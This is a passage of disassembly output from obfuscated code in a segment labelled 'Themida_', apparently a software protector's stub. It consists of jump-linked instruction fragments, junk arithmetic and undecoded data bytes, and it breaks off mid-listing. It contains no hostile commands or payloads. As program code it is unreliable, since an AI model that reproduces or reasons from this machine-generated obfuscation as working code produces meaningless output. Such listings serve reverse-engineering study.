loc_5564FE jmp loc_55AE54 ; --------------------------------------------------------------------------- db 8Bh dd 0D18B243Ch, 8124048Bh, 4ECh, 243C8900h, 0C781E789h dd 4, 12CB6E9h, 58E95A00h, 81000148h, 0DC1B23EDh, 0E9FD2963h dd 6E29h ; --------------------------------------------------------------------------- loc_556D9C: ; CODE XREF: Themida_:0056AB01j xchg edx, [esp] pop esp jmp loc_55E032 ; --------------------------------------------------------------------------- loc_556DA5: ; CODE XREF: Themida_:0056596Dj ; DATA XREF: Themida_:00556148o lodsb jmp loc_55E4C5 ; --------------------------------------------------------------------------- db 0C1h dd 0CD8106EDh, 47806D9Eh, 5AF0F581h, 0F58123E1h, 9F955E9Bh dd 0E95DEF29h, 0F79Eh ; --------------------------------------------------------------------------- loc_556DC8: ; CODE XREF: Themida_:loc_55B4E0j add al, 0FCh sub al, dl push edx mov dl, 0FCh jmp loc_5565CA ; --------------------------------------------------------------------------- loc_556DD4: ; CODE XREF: Themida_:0056A0F8j ; Themida_:loc_56BE0Dj mov eax, [esp] push ebx push 788h mov [esp], esp add dword ptr [esp], 4 jmp loc_558E5E ; --------------------------------------------------------------------------- loc_556DEC: ; CODE XREF: Themida_:0056AE4Dj pop eax mov eax, 303B28E9h xor eax, ebx pop ebx push eax jmp loc_55CADD ; --------------------------------------------------------------------------- loc_556DFB: ; CODE XREF: Themida_:00557D64j pop esi sub eax, 8FE155A7h add edi, eax mov eax, [esp] add esp, 4 add ebx, 54D228B1h sub ebx, edi sub ebx, 54D228B1h push dword ptr [esp] push dword ptr [esp] jmp loc_561C03 ; --------------------------------------------------------------------------- loc_556E22: ; CODE XREF: Themida_:0056782Aj add eax, edi push 5FFAh jmp loc_560319 ; --------------------------------------------------------------------------- loc_556E2E: ; CODE XREF: Themida_:0055B2F3j add dword ptr [esp], 3B70768Ch push dword ptr [esp] jmp loc_56D2EC ; --------------------------------------------------------------------------- loc_556E3D: ; CODE XREF: Themida_:0056B9ACj xor esi, [esp] mov esp, [esp] jmp loc_556C13 ; --------------------------------------------------------------------------- loc_556E48: ; CODE XREF: Themida_:0056C404j add ebp, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_56BBC1 ; --------------------------------------------------------------------------- loc_556E55: ; CODE XREF: Themida_:0055F5FAj xor eax, 56AE34EDh jno loc_55BB8B sub eax, 3875485Ch jb loc_5650C4 push esi loc_556E6C: ; CODE XREF: Themida_:0055C03Cj pop ebx jmp loc_55DE95 ; --------------------------------------------------------------------------- dw 2668h dd 8900001Dh, 0E9572404h, 11812h ; --------------------------------------------------------------------------- loc_556E80: ; CODE XREF: Themida_:00558014j pop dword ptr [esp] pop esp sub ax, bx push ebp push 3E70h jmp loc_559577 ; --------------------------------------------------------------------------- loc_556E92: ; CODE XREF: Themida_:00568132j sub dh, 7Eh sub al, dh jmp loc_55D697 ; --------------------------------------------------------------------------- loc_556E9C: ; CODE XREF: Themida_:0055E0BBj ; Themida_:0056AB8Fj push dword ptr [esp] pop ebx add esp, 4 jmp loc_55E93D ; --------------------------------------------------------------------------- loc_556EA8: ; CODE XREF: Themida_:00560CE8j add esp, 4 sub esp, 4 jmp loc_564557 ; --------------------------------------------------------------------------- loc_556EB6: ; CODE XREF: Themida_:00562D52j push dword ptr [esp] pop eax push eax push 60F1h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edi mov edi, 24EA47DAh inc edi dec edi push esi mov esi, 28754A17h sub edi, esi pop esi add edi, 38B0241h add eax, edi pop edi xchg eax, [esp] mov esp, [esp] push esi push eax push ecx mov ecx, 33E609D0h jmp loc_5578ED ; --------------------------------------------------------------------------- dw 74FFh dd 0E95D0424h, 16050h, 0E9240C89h, 0BBE7h ; --------------------------------------------------------------------------- loc_556F0C: ; CODE XREF: Themida_:005677FEj sub ebp, ebx pop ebx push ebp pop esi mov ebp, [esp] jmp loc_556386 ; --------------------------------------------------------------------------- db 68h, 65h, 7 dd 1C890000h, 2474FF24h, 2434FF04h, 4C4835Bh, 8B24048Fh dd 8B662424h, 8EE92404h, 8F00015Ch, 4832404h, 515E0424h dd 0BC53E9h db 0 ; --------------------------------------------------------------------------- loc_556F49: ; CODE XREF: Themida_:00567928j add ecx, ebx sub ecx, 40E7510Dh mov [ecx], al push dword ptr [esp] jmp loc_56A0A0 ; --------------------------------------------------------------------------- db 0Fh dd 607184h, 47E68100h, 0E978764Ch, 1053Bh ; --------------------------------------------------------------------------- loc_556F6C: ; CODE XREF: Themida_:00562E61j or dl, 87h push ecx mov ch, 63h jmp loc_55E015 ; --------------------------------------------------------------------------- loc_556F77: ; CODE XREF: Themida_:00563828j xchg ecx, [esp] mov esp, [esp] push 3B7Eh jmp loc_566B05 ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 51E92404h, 0B7000114h, 2C772CB6h, 52F8288Eh dd 0C2FE41B2h, 0C050F280h, 8BE904EAh db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556FAB: ; CODE XREF: Themida_:00561E2Ej ; Themida_:005665D2j sub esp, 4 mov [esp], esi mov si, 2BCEh push small 90E3h pop cx jmp loc_55BCA4 ; --------------------------------------------------------------------------- db 0F7h dd 0F513E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556FCA: ; CODE XREF: Themida_:00556902j ; Themida_:00569048j add esp, 4 xor edi, 5108C8F9h sub ebp, edi jmp loc_55CA7F ; --------------------------------------------------------------------------- word_556FDA dw 8B66h ; DATA XREF: Themida_:005561CCo dd 0E950240Ch, 0B1B6h ; --------------------------------------------------------------------------- loc_556FE4: ; CODE XREF: Themida_:0055B2CFj jnb loc_55E9B5 push ecx push ebp jmp loc_559FB4 ; --------------------------------------------------------------------------- db 8Ah, 0DEh, 8Bh db 0C8h ; --------------------------------------------------------------------------- loc_556FF5: ; CODE XREF: Themida_:0055F4D5j or ebx, edx jmp loc_5641B4 ; --------------------------------------------------------------------------- dd 0D148860Fh, 0C2810000h, 85ECBFBBh, 4E99BA52h, 814204E5h dd 0AE277CEAh, 0FA7AE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55701A: ; CODE XREF: Themida_:00561BDAj sub eax, 3D758642h add ebp, eax pop eax sub ebp, esi jmp loc_55DA06 ; --------------------------------------------------------------------------- loc_557029: ; CODE XREF: Themida_:0055CF24j pop edi shl ecx, 3 not ecx neg ecx jmp loc_56D23A ; --------------------------------------------------------------------------- loc_557036: ; CODE XREF: Themida_:0055B22Aj and ecx, 167B4B3Ah add ecx, 17EDCF59h and ebp, ecx jmp loc_5695BA ; --------------------------------------------------------------------------- loc_557049: ; CODE XREF: Themida_:0056864Ej add edi, eax pop eax push edx jmp loc_557E9A ; --------------------------------------------------------------------------- loc_557052: ; CODE XREF: Themida_:00564EDBj push esi push edx push 2EDC7E8Ah pop edx mov esi, 0B59A5DEh add esi, edx jmp loc_569042 ; --------------------------------------------------------------------------- dw 0F281h dd 21E865A6h, 0FFFF8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_557071: ; CODE XREF: Themida_:0056828Ej add edi, ecx push ebp mov ebp, 1B5C0CB7h add edi, ebp jmp loc_56B67E ; --------------------------------------------------------------------------- loc_557080: ; CODE XREF: Themida_:005643D6j mov [esp], ax xchg bh, [esp] dec bh xchg bh, [esp] mov ax, [esp] add esp, 2 not al jmp loc_566D73 ; --------------------------------------------------------------------------- loc_55709D: ; CODE XREF: Themida_:0055AC43j jmp loc_55B870 ; --------------------------------------------------------------------------- loc_5570A2: ; CODE XREF: Themida_:00566306j pop esp jmp loc_55AF9C ; --------------------------------------------------------------------------- aI4TSk9 db '┴4$T^ИK9',0 align 2 dw 0F930h dd 3060E9h db 0 ; --------------------------------------------------------------------------- loc_5570B9: ; CODE XREF: Themida_:0055FCC1j add esp, 4 and esi, 4B127295h jge loc_5591B1 sub esi, 53A94835h mov eax, ebx mov ebx, ebp loc_5570D2: ; CODE XREF: Themida_:00568B1Cj and eax, ecx push dword ptr [esp] pop ecx jmp loc_5569ED ; --------------------------------------------------------------------------- db 29h, 0EFh, 5Dh dd 0C781DF01h, 69C47462h, 243C335Bh, 0A4A4E9h db 0 ; --------------------------------------------------------------------------- loc_5570F1: ; CODE XREF: Themida_:0056100Fj pop ecx add bl, 57h jno loc_55795E xor bl, 6Ah jb loc_5567BE dec bl mov dh, 0C8h and al, 8Eh loc_55710A: ; CODE XREF: Themida_:0055F5CEj pop edi mov esi, ebp mov ebp, [esp] jmp loc_56516B ; --------------------------------------------------------------------------- loc_557115: ; CODE XREF: Themida_:0055EE93j add edx, 4 jmp loc_56B177 ; --------------------------------------------------------------------------- db 51h, 0B9h, 22h dd 29718B3Ch, 236859C8h, 8900001Dh, 9FE92434h db 47h, 1, 0 ; --------------------------------------------------------------------------- loc_557133: ; CODE XREF: Themida_:0056691Bj mov [esp], ebp jmp loc_55A54B ; --------------------------------------------------------------------------- loc_55713B: ; CODE XREF: Themida_:0055FBE4j ; Themida_:00568745j push esi mov esi, 53A7569Dh sub esi, 53A75699h add edi, esi pop esi push ebp mov ebp, 4 sub edi, 3420073Bh jmp loc_55692B ; --------------------------------------------------------------------------- loc_55715B: ; CODE XREF: Themida_:0055D573j jmp loc_56B7F7 ; --------------------------------------------------------------------------- loc_557160: ; CODE XREF: Themida_:loc_568012j shl eax, 6 js loc_56502C jmp loc_56A793 ; --------------------------------------------------------------------------- dw 8149h dd 706B94C1h db 0BAh ; --------------------------------------------------------------------------- loc_557175: ; CODE XREF: Themida_:00566355j mov [esp], esi jmp loc_55F88E ; --------------------------------------------------------------------------- loc_55717D: ; CODE XREF: Themida_:0055A9EDj pop esp mov [esp], ebp pop eax mov ebp, [esp] add esp, 4 sub eax, 768A7097h jmp loc_55E544 ; --------------------------------------------------------------------------- loc_557195: ; CODE XREF: Themida_:0055D3ECj pop esi push esi mov esi, esp sub esp, 4 jmp loc_56569F ; --------------------------------------------------------------------------- loc_5571A4: ; CODE XREF: Themida_:0055EEA3j shr edi, 5 js loc_560571 push ebx mov ebx, 1C15467Fh sub edi, ebx mov ebx, [esp] push 2E3Bh mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55F232 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 33000000h, 1C31241Ch, 241C3324h, 0FFF49AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5571ED: ; CODE XREF: Themida_:0055E0B4j ; Themida_:loc_568F21j inc ebx jns loc_55CD7C jmp loc_56A68F ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 47000000h ; --------------------------------------------------------------------------- loc_557200: ; CODE XREF: Themida_:00558B76j pop ebx push ecx mov ecx, 2E272796h not ecx push ecx not dword ptr [esp] pop ecx xor ecx, 4D630380h add ecx, 14893546h add edx, ecx pop ecx add edx, eax sub edx, 77CD595Ch mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_565EE7 ; --------------------------------------------------------------------------- loc_557245: ; CODE XREF: Themida_:0055E739j shr ah, 6 jmp loc_569D7A ; --------------------------------------------------------------------------- loc_55724D: ; CODE XREF: Themida_:loc_569D2Dj shl cl, 1 and cl, 2Dh jmp loc_56A7EC ; --------------------------------------------------------------------------- db 5 dd 45174399h, 562A1A05h, 78DA683Ah, 0C890000h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h, 53A62193h dd 359C68h, 0DAC3E900h db 2 dup(0) word_55728E dw 55ADh ; DATA XREF: Themida_:00556180o dd 8D79F9BDh, 71BB0558h, 0E801393Fh, 93A2E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5572A2: ; CODE XREF: Themida_:0056B142j xor [esp], ebp xor ebp, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_56950B ; --------------------------------------------------------------------------- loc_5572B4: ; CODE XREF: Themida_:0056A5B0j pop edi sub ebx, 0CF10452h sub ebx, 30114158h add ebx, ecx add ebx, 30114158h add ebx, 0CF10452h pop ecx xchg ebx, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5572DF: ; CODE XREF: Themida_:0055F0DEj pop eax xor ch, 45h sub bl, 40h sub bl, ch push ecx jmp loc_55DAE0 ; --------------------------------------------------------------------------- aSaibssb db '©ИМ┴bSИb╢',0 db 0 ; --------------------------------------------------------------------------- loc_5572F9: ; CODE XREF: Themida_:005633F0j push esi jmp loc_56D767 ; --------------------------------------------------------------------------- loc_5572FF: ; CODE XREF: Themida_:0055FD2Fj xchg bl, ch dec ch push edx mov dh, 11h jmp loc_5641EB ; --------------------------------------------------------------------------- loc_55730B: ; CODE XREF: Themida_:00568F01j push edi mov edi, 0A4B5489h sub edi, 45A96820h jmp loc_564562 ; --------------------------------------------------------------------------- loc_55731C: ; CODE XREF: Themida_:00557BA4j not esi add esi, 5D876DC4h shr esi, 6 jnp loc_56C0E2 add esi, 22515F7Bh and ebp, esi pop esi sub ebp, 76B65526h xor ebp, 8D4DACDFh add ecx, ebp jmp loc_564D90 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0FFh dd 505F2434h, 405E089h, 5000000h, 4, 5C240487h, 13E72E9h db 0 ; --------------------------------------------------------------------------- loc_557365: ; CODE XREF: Themida_:loc_55698Ej ; Themida_:0056375Fj mov ch, 3Bh add al, ch mov cx, [esp] jmp loc_560660 ; --------------------------------------------------------------------------- dw 0C781h dd 3A6B31ECh, 12F7815Ah, 1BC968Bh, 243C8BFAh, 79268h, 24348900h dd 0C681E689h, 4, 4EC268h, 240C8900h, 7E3930B9h, 81D1F750h dd 0C5548FE1h, 83E6E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5573AE: ; CODE XREF: Themida_:0055DA01j sub [esp+8], edi sub dword ptr [esp+8], 5DC22EFh mov edi, [esp] add esp, 4 add [esp+4], edi push edx push ebp jmp loc_565295 ; --------------------------------------------------------------------------- loc_5573CB: ; CODE XREF: Themida_:0056D0FBj mov esi, 1C2D1795h or esi, 25DE740Dh jmp loc_55BAE0 ; --------------------------------------------------------------------------- loc_5573DB: ; CODE XREF: Themida_:0056CAF8j sub eax, 62533CE2h jmp loc_56215B ; --------------------------------------------------------------------------- db 68h, 0DBh, 72h dd 34FF13A2h, 0E9575E24h, 0CF1Bh ; --------------------------------------------------------------------------- loc_5573F4: ; CODE XREF: Themida_:0056188Aj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push ecx push ebx push edx mov dh, 0CFh jmp loc_569429 ; --------------------------------------------------------------------------- db 5, 0BFh, 57h dd 0C3E906A2h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55741B: ; CODE XREF: Themida_:0055C46Bj push ebp jmp loc_56A30D ; --------------------------------------------------------------------------- loc_557421: ; CODE XREF: Themida_:0055B9E8j ; Themida_:0055CB6Cj and [edi+1Ch], ebp mov ebp, [esp] add esp, 4 jmp loc_5566C1 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 0E56AE9h, 72EF8100h, 8B7F1139h, 0EC812404h dd 4, 0E9241C89h, 0A0FAh, 4BD555Fh, 81000000h, 9C70B6C7h dd 81EF011Eh, 9C70B6EFh, 0EF835D1Eh, 4ABBE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557472: ; CODE XREF: Themida_:0055A168j add esi, 27C0B975h add edi, esi jmp loc_565E42 ; --------------------------------------------------------------------------- loc_55747F: ; CODE XREF: Themida_:00565B5Bj push ebx jmp loc_565EBF ; --------------------------------------------------------------------------- loc_557485: ; CODE XREF: Themida_:0055B86Bj push dword ptr [esp] jmp loc_563719 ; --------------------------------------------------------------------------- loc_55748D: ; CODE XREF: Themida_:0055D682j add cl, 75h jnb loc_5595D4 jmp loc_56C148 ; --------------------------------------------------------------------------- db 57h dd 1572EE9h db 0 ; --------------------------------------------------------------------------- loc_5574A1: ; CODE XREF: Themida_:00565421j pop esp mov [esp], esi mov esi, 1 and eax, esi mov esi, [esp] push esi jmp loc_56C839 ; --------------------------------------------------------------------------- loc_5574B5: ; CODE XREF: Themida_:005586E5j push edx jmp loc_558150 ; --------------------------------------------------------------------------- loc_5574BB: ; CODE XREF: Themida_:0055B950j mov edx, esp add edx, 4 jmp loc_55E477 ; --------------------------------------------------------------------------- loc_5574C8: ; CODE XREF: Themida_:loc_55CB7Dj push ebp push esi mov esi, 2EA54260h mov ebp, esi pop esi sub esp, 4 mov [esp], edx jmp loc_56C0C4 ; --------------------------------------------------------------------------- loc_5574E0: ; CODE XREF: Themida_:00561CD7j mov esp, [esp] add ebp, 2 xchg ebp, [esp] pop esp mov ax, [esp] push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push 128Dh mov [esp], esp push 69BFh jmp loc_55AC3A ; --------------------------------------------------------------------------- loc_557519: ; CODE XREF: Themida_:00559087j mov esp, [esp] sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_56574C ; --------------------------------------------------------------------------- loc_557534: ; CODE XREF: Themida_:00558F69j push 4A13h mov [esp], edx mov edx, esp jmp loc_56D561 ; --------------------------------------------------------------------------- loc_557543: ; CODE XREF: Themida_:0055B79Aj sub edi, ebx pop ebx push ebx push eax push edx mov edx, 76E93D49h xor edx, 55045F5Fh mov eax, edx pop edx mov ebx, 74836809h sub ebx, eax jmp loc_564B05 ; --------------------------------------------------------------------------- loc_557563: ; CODE XREF: Themida_:0055C9C8j pop esi push 36Dh mov [esp], esi mov esi, esp push 41D8h mov [esp], eax push edi push 6C12505Ah pop edi shl edi, 7 jnz loc_561B6B sub edi, 5D2865A3h sub esp, 4 mov [esp], ebx pop edx loc_557593: ; DATA XREF: Themida_:00556138o mov cx, [esp] push 2B50h mov [esp], edx push 318Dh push esp pop dword ptr [esp] jmp loc_562425 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 83000000h, 3C8704C7h, 0E9295C24h, 0E92434FFh, 1466Bh ; --------------------------------------------------------------------------- loc_5575C4: ; CODE XREF: Themida_:0055ADDBj mov [esp], edx mov edx, 144C1D0Ch shl edx, 6 jmp loc_564C8A ; --------------------------------------------------------------------------- loc_5575D4: ; CODE XREF: Themida_:0055CF2Bj mov ebx, [esp] jmp loc_55B65E ; --------------------------------------------------------------------------- loc_5575DC: ; CODE XREF: Themida_:00556499j pop dword ptr [esp] mov esp, [esp] jmp loc_55C853 ; --------------------------------------------------------------------------- db 54h dd 4BB535Ah, 81000000h, 887F71C2h, 81DA010Bh, 887F71EAh dd 3430E90Bh db 2 dup(0) word_557602 dw 0FF66h ; DATA XREF: Themida_:00556168o dd 0ECDDE932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55760A: ; CODE XREF: Themida_:0055BCE5j neg edx jmp loc_55E43D ; --------------------------------------------------------------------------- loc_557611: ; CODE XREF: Themida_:0055D8E5j neg eax push edx mov edx, 641F57F2h dec edx add edx, 1 shr edx, 8 add edx, 5C291AACh or eax, edx pop edx sub eax, 0FC0974A5h sub edx, 18D53D24h sub edx, 424E3CBCh jmp loc_55979D ; --------------------------------------------------------------------------- loc_55763F: ; CODE XREF: Themida_:00561688j push eax jmp loc_5672A6 ; --------------------------------------------------------------------------- loc_557645: ; CODE XREF: Themida_:0055651Cj mov eax, 8899FCA1h jmp loc_56531E ; --------------------------------------------------------------------------- loc_55764F: ; CODE XREF: Themida_:0055F559j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_561BC2 ; --------------------------------------------------------------------------- db 81h, 0E6h, 5Ch dd 8131C02Dh, 83454DC6h, 0C1D6F73Fh, 32E904EEh, 0F00008Ch dd 10FF080h, 81D3F700h, 5808ECCBh, 7E3C11Bh, 0F13E850Fh dd 0BD55FFFFh, 82788B57h, 0F75DEB29h, 545756D3h ; --------------------------------------------------------------------------- loc_5576A0: ; CODE XREF: Themida_:loc_567BA5j sub ebx, 0BD619C7Ah mov edi, ebx jmp loc_55A0F0 ; --------------------------------------------------------------------------- loc_5576AD: ; CODE XREF: Themida_:00568B24j add esp, 4 sub eax, ecx sub esp, 4 mov [esp], edi mov edi, 6EA6AD5h dec edi or edi, 3C49520Eh dec edi push eax jmp loc_55A404 ; --------------------------------------------------------------------------- loc_5576CE: ; CODE XREF: Themida_:0056A218j push eax jmp loc_566396 ; --------------------------------------------------------------------------- loc_5576D4: ; CODE XREF: Themida_:0055DE69j pop edi push eax mov eax, 430F54E2h neg eax xor eax, 67A47510h sub eax, 74B4410h not eax xor eax, 2BF66605h add edi, eax pop eax jmp loc_55EF8D ; --------------------------------------------------------------------------- dw 0BDBBh dd 81619407h, 0AB0B0BF3h, 0B2EB8111h, 1703F0Ch, 241C8BD9h dd 4C481h, 0C1810000h, 4, 0CE84E9h db 0 ; --------------------------------------------------------------------------- loc_55771D: ; CODE XREF: Themida_:00561834j xor edi, ebx pop ebx add edx, 268F0FCFh sub edx, edi sub edx, 268F0FCFh pop edi jmp loc_559D9D ; --------------------------------------------------------------------------- loc_557734: ; CODE XREF: Themida_:0055B3B0j inc esi jno loc_558726 not esi xor esi, 9A208CB7h mov edi, esi add bh, 5Ah push ebx loc_557749: ; CODE XREF: Themida_:00565715j add esp, 4 mov ecx, [esp] add esp, 4 add edx, 2 xchg edx, [esp] pop esp and [esp], ax pushf jmp loc_55B0AB ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4240481h, 0E9000000h, 1556Eh ; --------------------------------------------------------------------------- loc_557778: ; CODE XREF: Themida_:005600A4j and bh, cl mov cx, [esp] add esp, 2 inc bh shl bh, 1 sub bh, 1 push ecx mov cl, bh not cl mov bh, cl pop ecx jmp loc_56C116 ; --------------------------------------------------------------------------- dd 110B88BDh, 4EDC14Ah, 29A5C581h, 0E8211D9Bh, 5128E9h dd 24248B00h, 240C8B66h, 8904EC83h, 8B542434h, 1DE92434h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5577C3: ; CODE XREF: Themida_:0056C498j sub edi, 1D3CFBD2h mov ebx, edi pop edi add dword ptr [esp+4], 6B464DBDh jmp loc_56BBF5 ; --------------------------------------------------------------------------- loc_5577D9: ; CODE XREF: Themida_:00566F21j push ebx pop edi jmp loc_566BA0 ; --------------------------------------------------------------------------- loc_5577E0: ; CODE XREF: Themida_:00559C4Dj mov edi, 7EFD4404h jmp loc_56D596 ; --------------------------------------------------------------------------- loc_5577EA: ; CODE XREF: Themida_:0055D692j mov eax, 39114C7h mov ebx, eax mov eax, [esp] jmp loc_55C631 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 42D0000h, 87000000h, 895C2404h, 0E2892414h, 4C281h dd 50E90000h db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_557817: ; CODE XREF: Themida_:0056619Dj pop ebx add ebx, 4 add ebx, 4 jmp loc_56BBE6 ; --------------------------------------------------------------------------- loc_557826: ; CODE XREF: Themida_:00567A75j not esi add esi, 74D2063Fh sub ebp, esi pop esi sub ebx, ebp pop ebp push dword ptr [esp] pop eax add esp, 4 or ebx, 1FDE698Dh neg ebx push 6127h jmp loc_5647A8 ; --------------------------------------------------------------------------- loc_55784D: ; CODE XREF: Themida_:00565F42j add bl, 5Ah add bl, 48h jmp loc_558048 ; --------------------------------------------------------------------------- loc_557858: ; CODE XREF: Themida_:0055859Bj push dword ptr [esp] jmp loc_556623 ; --------------------------------------------------------------------------- dword_557860 dd 24048B66h, 68CA6856h, 8F540000h, 89562404h, 4C681E6h ; DATA XREF: Themida_:0055627Co dd 81000000h, 4EEh, 24348700h, 2404895Ch, 4B8h, 24448100h dd 3E18E004h, 2444015Ah, 246C8104h, 3E18E004h, 0ED22E95Ah dd 0E958FFFFh, 15260h, 0F771E5BEh, 0FDB3E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5578B2: ; CODE XREF: Themida_:0055EE86j xor ebp, [esp] jmp loc_559D92 ; --------------------------------------------------------------------------- loc_5578BA: ; CODE XREF: Themida_:loc_56872Fj xor eax, 60300084h mov esi, eax jmp loc_55938C ; --------------------------------------------------------------------------- dw 0E983h dd 3E1C101h, 158BCE9h db 0 ; --------------------------------------------------------------------------- loc_5578D1: ; CODE XREF: Themida_:00562729j push esi mov esi, 2F0E733Ah not esi not esi not esi neg esi jle loc_56BE76 sub esi, 0FFFFFFFFh jmp loc_5565DE ; --------------------------------------------------------------------------- loc_5578ED: ; CODE XREF: Themida_:00556EF5j mov eax, ecx pop ecx shr eax, 1 shl eax, 8 jnz loc_5654A9 or eax, 1EE40268h jl loc_561F41 mov ah, 0Bh pop esp loc_55790A: ; CODE XREF: Themida_:0055E033j xor dword ptr [esp], 3E7D491Dh pop eax push ebp sub esp, 4 mov [esp], esi push edx jmp loc_56D15F ; --------------------------------------------------------------------------- loc_557922: ; CODE XREF: Themida_:005679C1j ja loc_56199F add ebp, 0FF97D292h jmp loc_56A86A ; --------------------------------------------------------------------------- db 2Ch db 0EBh, 0Ch, 62h ; --------------------------------------------------------------------------- loc_557937: ; CODE XREF: Themida_:0056D555j xchg ecx, [esp] jmp loc_566BA6 ; --------------------------------------------------------------------------- db 0B8h dd 873EEE6Fh, 62E9C201h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55794B: ; CODE XREF: Themida_:00564D06j add edx, 4 jmp loc_5699E6 ; --------------------------------------------------------------------------- dw 2C89h dd 0F59CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55795E: ; CODE XREF: Themida_:005570F5j xor bl, 6Ah jb loc_568137 dec bl jl loc_55AC20 jmp loc_5643CC ; --------------------------------------------------------------------------- loc_557974: ; CODE XREF: Themida_:0055B2A4j push dword ptr [esp] jmp loc_558D45 ; --------------------------------------------------------------------------- loc_55797C: ; CODE XREF: Themida_:00569925j add eax, ecx pop ecx and eax, 38BB5B77h not eax shr eax, 7 sub eax, 228757Dh sub edx, 442A1881h jmp loc_56BFFE ; --------------------------------------------------------------------------- loc_557999: ; CODE XREF: Themida_:loc_564274j dec dh jnz loc_5668E2 add dh, 13h push ecx mov ch, 42h shl ch, 8 mov ecx, ebp loc_5579AC: ; CODE XREF: Themida_:0055E605j pop ebp add esp, 4 push edi mov edi, 66141337h sub [esp+8], edi pop edi jmp loc_55D9F3 ; --------------------------------------------------------------------------- loc_5579C3: ; CODE XREF: Themida_:0055B4DBj sub dl, al pop eax add dl, 0E4h jmp loc_558744 ; --------------------------------------------------------------------------- dw 0CB01h dd 7435BE56h, 0D6F75213h, 0C3ADC681h, 0F301731Fh, 0EC83595Eh dd 240C8904h, 10883E9h db 0 ; --------------------------------------------------------------------------- loc_5579ED: ; CODE XREF: Themida_:0056CE9Ej sub bh, 59h jmp loc_562A0D ; --------------------------------------------------------------------------- db 5, 38h, 56h dd 815A0828h, 4ECh, 243C8900h, 732CE9h db 0 ; --------------------------------------------------------------------------- loc_557A09: ; CODE XREF: Themida_:0055A611j push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop edx push edi mov edi, 37212118h not edi sub edi, 3F1361F6h sub edi, 89CB7CEDh add edx, 3B720249h add edx, edi push ebx mov ebx, 6D007DFh sub ebx, 692D4D10h sub ebx, 308C58DDh dec ebx sub ebx, 31A45FA8h jmp loc_56CA46 ; --------------------------------------------------------------------------- db 80h dd 0DA00AAC3h, 0E92434FFh, 13099h ; --------------------------------------------------------------------------- loc_557A5C: ; CODE XREF: Themida_:0056C532j jmp loc_560CB9 ; --------------------------------------------------------------------------- db 5, 0A2h, 0Dh dd 0BD55447Eh, 6ABF43AAh, 15A8BE9h db 0 ; --------------------------------------------------------------------------- loc_557A71: ; CODE XREF: Themida_:0056A3F9j add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_557A89: ; CODE XREF: Themida_:0056145Aj add dword ptr [esp+4], 15E876FFh jmp loc_56D536 ; --------------------------------------------------------------------------- loc_557A96: ; CODE XREF: Themida_:0056348Fj add ebx, ebp sub ebx, 9C27DD0h sub esp, 4 mov [esp], edi mov edi, 8306CC4h jmp loc_55F2C9 ; --------------------------------------------------------------------------- db 58h, 86h, 0E5h dd 0E456866h, 24048966h, 12454F6h, 24048B66h, 3002C483h dd 30EC30E5h, 1FACE9E5h db 1, 0 ; --------------------------------------------------------------------------- loc_557AD2: ; CODE XREF: Themida_:0056720Bj sub al, 9Fh add al, bh add al, 9Fh mov ebx, [esp] add esp, 4 add bl, 0Bh sub esp, 2 jmp loc_56419A ; --------------------------------------------------------------------------- a1Xh6 db '1фXhб6',0 dd 243C8900h, 5A111FBFh, 0B6CF8178h, 0F76DCD11h, 42C0E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B06: ; CODE XREF: Themida_:00564D3Cj add esp, 4 shl ebx, 5 neg ebx add ebx, 45104422h jmp loc_558997 ; --------------------------------------------------------------------------- byte_557B19 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005561A0o dd 8B545724h, 50E9243Ch db 3Ah, 1, 0 ; --------------------------------------------------------------------------- loc_557B27: ; CODE XREF: Themida_:00562B97j mov esi, [esp] add esp, 4 add edx, eax jmp loc_5645A9 ; --------------------------------------------------------------------------- loc_557B37: ; CODE XREF: Themida_:00563299j add esp, 4 mov ebx, [esp] add esp, 4 loc_557B43: ; CODE XREF: Themida_:0055677Bj push ebx push eax push 0DF4h mov [esp], ebp mov ebp, 0AAE1C24h push ecx mov ecx, 756D6761h shl ecx, 4 add ecx, 1 push 108h mov [esp], eax mov eax, 7A1E24E0h neg eax jns loc_5593AD neg eax jmp loc_558826 ; --------------------------------------------------------------------------- loc_557B7D: ; CODE 